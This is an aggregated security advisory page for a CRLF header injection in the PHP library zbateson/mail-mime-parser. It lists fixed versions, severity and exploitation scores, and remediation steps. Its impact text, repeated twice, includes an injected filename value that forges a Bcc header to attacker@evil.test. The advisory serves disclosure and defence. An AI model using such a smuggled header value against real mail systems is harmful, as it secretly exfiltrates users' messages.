vulnerability / NVI-00006120 / Revision 3
zbateson/mail-mime-parser has CRLF header injection via attachment filename
OSV carries this publisher advisory for zbateson/mail-mime-parser, zbateson/mail-mime-parser. This is an aggregated source copy; consult the original publisher and compare update dates.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
7.2 HIGH (3.1)
security-advisories@github.com severity; no combined Null risk score.
0.178%
FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.07375. Missing scores are unknown.
As of · FIRST EPSS
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
zbateson/mail-mime-parser
source listedECOSYSTEM: introduced 0; fixed 3.0.6
### Impact A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed. ### Details On the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\r\nBcc: attacker@evil.test` therefore serializes as: ``` Content-Disposition: attachment; filename="doc Bcc: attacker@evil.test" ``` The `filename` value
zbateson/mail-mime-parser
source listedECOSYSTEM: introduced 4.0.0; fixed 4.0.2
### Impact A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed. ### Details On the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\r\nBcc: attacker@evil.test` therefore serializes as: ``` Content-Disposition: attachment; filename="doc Bcc: attacker@evil.test" ``` The `filename` value
03 / Response
What to do next
- vendor patch
The original advisory lists fixed boundaries 3.0.6 for zbateson/mail-mime-parser. Confirm the publisher’s latest guidance.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database via OSV
- vendor patch
The original advisory lists fixed boundaries 4.0.2 for zbateson/mail-mime-parser. Confirm the publisher’s latest guidance.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database via OSV
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. FIRST EPSS
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
- NVD lastModified does not establish freshness of every associated CPE record.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-36h5-qg4p-q2qf ↗
GitHub Advisory Database via OSV · vendor advisory
Observed . GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.
- CVE-2026-61815 ↗
NIST National Vulnerability Database · official catalog
Observed . This product uses data from the NVD API but is not endorsed or certified by the NVD.
- CVE-2026-61815 ↗
FIRST EPSS · official catalog
Observed . FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 3 ·
Source facts changed; compare the preserved prior revision.
- Revision 2 ·
Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.